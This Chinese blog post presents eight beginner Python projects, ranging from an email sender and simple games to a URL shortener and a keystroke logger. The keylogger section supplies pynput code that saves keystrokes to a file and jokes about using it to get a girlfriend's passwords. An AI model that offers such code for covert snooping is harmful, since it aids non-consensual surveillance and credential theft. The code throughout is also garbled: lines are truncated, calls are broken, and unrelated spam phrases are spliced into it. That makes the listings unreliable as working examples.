适合Python练⼿的8个经典项⽬,有趣⼜实⽤,提升Python编程能⼒必看!前⾔
各位CSDN的朋友们好啊!我是马蒙!
前⾯发了⼏篇⽂章,虽然给我带来了⼤量的粉丝,但也带来了⼀些争议(⾃卑的不敢回复…)!下⾯截图中的⼤佬估计是没看过我前⾯的⼏篇⽂章,我只是有⼀名刚转⾏不到⼀年的新⼈,分享的是我⾃⼰经历过的⼀些学习经验,也确实还没达到这位⼤佬所说的年薪超过40万,但是我还在努⼒。我也希望能通过我的分享,给⼤家带来⼀些正能量,在放弃边缘的朋友看到了,能继续坚持,坚持努⼒的朋友看到了,能变得更优秀!
其实也很感谢这位⼤佬的批评,我的标题确实有些夸张了,我尽量改正,还有有其他地⽅不够好的,也欢迎所有朋友批评指导。
另外今天给⼤家分享的,是⼀些实战练习的⼩案例,如果你还是Python⼩⽩,可以再看看我前⾯⼏篇⽂章,如果是有了⼀点基础,那就尝试完成下⾯这些案例吧!
⼀、⾃动发送邮件
⽤Python编写⼀个可以发送电⼦邮件的脚本。
提⽰:email库可⽤于发送电⼦邮件。
import smtplib
ssage import EmailMessage
email = EmailMessage()## Creating a object for EmailMessage
email['from']='xyz name'## Person who is sending
email['to']='xyz id'## Whom we are sending
email['subject']='xyz subject'## Subject of email
email.set_content("Xyz content of email")## content of email
with smtlib.SMTP(host='ail',port=587)as smtp:
## sending request to server
smtp.ehlo()## server object
smtp.starttls()## used to send data between server and client
smtp.login("email_id","Password")## login id and password of gmail
smtp.send_message(email)## Sending email
print("email send")## Printing success message
⼆、Hangman(猜单词的游戏)
⽤Python创建⼀个简单的hangman猜单词游戏。
提⽰:创建⼀个密码词的列表并随机选择⼀个单词。将每个单词⽤下划线“”表⽰,让⽤户猜单词,如果⽤户猜对了,则将⽤单词替换
掉“”。
import time
import random
name =input("What is your name? ")
print("Hello, "+ name,"Time to play hangman!")
time.sleep(1)
print("\n")
time.sleep(0.5)
## A List Of Secret Words
words =['python','programming','treasure','creative','medium','horror'] word = random.choice(words)
guesses =''
turns =5
while turns >0:
failed =0
for char in word:
if char in guesses:
print(char,end="")
else:
print("_",end=""),
failed +=1
if failed ==0:
print("\nYou won")
break
guess =input("\nguess a character:")
guesses += guess
if guess not in word:
turns -=1
print("\nWrong")
print("\nYou have",+ turns,'more guesses')
if turns ==0:
print("\nYou Lose")shell系统的学习
三、闹钟
⽤Python编写⼀个创建闹钟的脚本。
提⽰:⽤date-time模块创建闹钟,然后⽤playsound库播放声⾳。
from datetime import datetime
from playsound import playsound
alarm_time =input("Enter the time of alarm to be set:HH:MM:SS\n")
alarm_hour=alarm_time[0:2]
alarm_minute=alarm_time[3:5]
alarm_seconds=alarm_time[6:8]
alarm_period = alarm_time[9:11].upper()
print("Setting up alarm..")
while True:
now = w()
current_hour = now.strftime("%I")
current_minute = now.strftime("%M")
current_seconds = now.strftime("%S")
current_period = now.strftime("%p")
if(alarm_period==current_period):
if(alarm_hour==current_hour):
if(alarm_minute==current_minute):
if(alarm_seconds==current_seconds):
print("Wake Up!")
playsound('audio.mp3')## download the alarm sound from link break
四、⽯头剪⼑布游戏
创建⼀个⽯头剪⼑布的游戏,游戏者与与计算机PK。如果游戏者赢了,得分就会添加,看谁最终的得分最⾼。
提⽰:先判断游戏者的选择,然后与计算机的选择进⾏⽐较。计算机的选择是从选择列表中随机选取的。如果游戏者获胜,则增加1分。
linux在线安装gcc命令步骤import random
choices =["Rock","Paper","Scissors"]
computer = random.choice(choices)
player =False
cpu_score =0
player_score =0
while True:
player =input("Rock, Paper or Scissors?").capitalize()
# 判断电脑与游戏者的选择
if player == computer:
print("Tie!")
elif player =="Rock":
if computer =="Paper":
linux操作系统知识print("You lose!", computer,"covers", player)
cpu_score+=1
else:
print("You win!", player,"smashes", computer)
player_score+=1
elif player =="Paper":
if computer =="Scissors":
print("You lose!", computer,"cut", player)
cpu_score+=1
else:
print("You win!", player,"covers", computer)
player_score+=1
elif player =="Scissors":
if computer =="Rock":
print("", computer,"smashes", player)
cpu_score+=1
else:
print("You win!", player,"cut", computer)
player_score+=1
elif player=='E':
print("Final Scores:")
print(f"CPU:{cpu_score}")
print(f"Plaer:{player_score}")
break
else:
print("That's not a valid play. Check your spelling!")
computer = random.choice(choices)
五、提醒⼩⼯具
利⽤Python⼀个提醒⼩⼯具,在设定好的时间在桌⾯做提醒通知。
提⽰:跟踪提醒时间可以⽤Time模块,显⽰桌⾯通知可以⽤toastnotifier库。
安装:win10toast
from win10toast import ToastNotifier
import time
toaster = ToastNotifier()
try:
print("Title of reminder")
header =input()
print("Message of reminder")
text =input()
print("In how many minutes?")
time_min =input()
time_min=float(time_min)
except:
header =input("Title of reminder\n")
text =input("Message of remindar\n")
time_min=float(input("In how many minutes?\n"))
time_min = time_min *60
print("Setting up reminder..")
time.sleep(2)
print("all set!")
time.sleep(time_min)
toaster.show_toast(f"{header}",
f"{text}",
duration=10,
threaded=True)
ification_active(): time.sleep(0.005)
六、⽂章朗读器
⽤Python编写⼀个脚本,实现⾃动从提供的链接读取⽂章的功能。
import pyttsx3
import requests
from bs4 import BeautifulSoup
url =str(input("Paste article url\n"))
def content(url):
res = (url)
soup = ,'html.parser')
articles =[]
for i in range(len(soup.select('.p'))):
article = soup.select('.p')[i].getText().strip()
articles.append(article)
contents =" ".join(articles)
return contents
engine = pyttsx3.init('sapi5')
voices = Property('voices')
engine.setProperty('voice', voices[0].id)
def speak(audio):
engine.say(audio)
engine.runAndWait()
contents = content(url)
## print(contents) ## In case you want to see the content
#engine.save_to_file
#engine.runAndWait() ## In case if you want to save the article as a audio file
七、短⽹址⽣成器
⽤Python编写⼀个脚本,实现⽤API缩短指定URL的功能。
redhat 7from __future__ import with_statement
import contextlib
try:
from urllib.parse import urlencode
except ImportError:
from urllib import urlencode
try:
quest import urlopen
except ImportError:
from urllib2 import urlopen
import sys
def make_tiny(url):
request_url =('tinyurl/api-create.php?'+
urlencode({'url':url}))
小白学python买什么书with contextlib.closing(urlopen(request_url))as response:
ad().decode('utf-8')
def main():
for tinyurl in map(make_tiny, sys.argv[1:]):
print(tinyurl)c语言标识符由三种字符组成
if __name__ =='__main__':
main()
⼋、键盘记录器
⽤Python编写⼀个脚本,实现将⽤户在键盘上按过的按键记录下来,并保存在⼀个⽂本⽂件中。
提⽰:控制键盘和⿏标的移动就不得不推荐pynput这个库了,它还可以⽤于制作键盘记录器,通过读取被按下的键,然后将它们保存在⼀个⽂本⽂件中。(咳咳,想知道⼥朋友的账号密码的可以好好学习下)
from pynput.keyboard import Key, Controller,Listener
import time
keyboard = Controller()
keys=[]
def on_press(key):
global keys
#keys.append(str(key).replace("'",""))
string =str(key).replace("'","")
keys.append(string)
main_string ="".join(keys)
print(main_string)
if len(main_string)>15:
with open('','a')as f:
f.write(main_string)
keys=[]
def on_release(key):
if key == Key.esc:
return False
with listener(on_press=on_press,on_release=on_release)as listener:
listener.join()
结语
今天的分享的有些⼩难度了(对新⼿来说),如果你还是纯Python新⼿,建议先看看我前⾯⼏篇⽂章,进⾏些⼊门的学习,然后再结合这篇⽂章分享的案例做实践操作。
版权声明:本站内容均来自互联网,仅供演示用,请勿用于商业和其他非法用途。如果侵犯了您的权益请与我们联系QQ:729038198,我们将在24小时内删除。
发表评论